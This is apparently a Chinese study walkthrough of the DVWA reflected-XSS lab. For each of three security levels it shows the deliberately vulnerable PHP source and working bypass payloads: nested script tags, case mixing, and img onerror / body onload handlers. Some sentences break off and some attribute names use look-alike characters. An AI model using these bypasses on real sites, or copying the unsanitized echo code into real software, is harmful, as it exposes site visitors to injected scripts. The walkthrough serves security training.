XSS(Reflected):
- XSS全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行
Low:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
- array_key_exists --------检查数组里是否有指定的键名或索引,在name中检查是否有$_GET,
- 代码中并没有对name参数进行任何限制
方法:直接在输入框中输入语句:
<script>alert(/xss/)</script>
Medium:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
代码中,将
方法一:可以将
<scr<script>ipt>alert('xss')</scr<script>ipt>
方法二:代码中并没有对大小写进行过滤,可以使用大小写混淆进行绕过
<ScRipt>alert('xss')</script>
High:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
代码分析:preg_replace函数的使用,正则表达式的搜索和替换
- 如果在修饰符中加上"i",则正则将会取消大小写敏感性
- /m 多行匹配,在出现换行符%0a的时候,会被当成两行处理,只能匹配第一行
- /e 无限制传参,
- 本关中,双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
- preg_replace函数的参考原文
方法:虽然无法使用
如img,body等标签的事件进行注入恶意的js代码
<img src=1 οnerrοr=alert(/xss/)>
<body οnlοad=alert("xss")>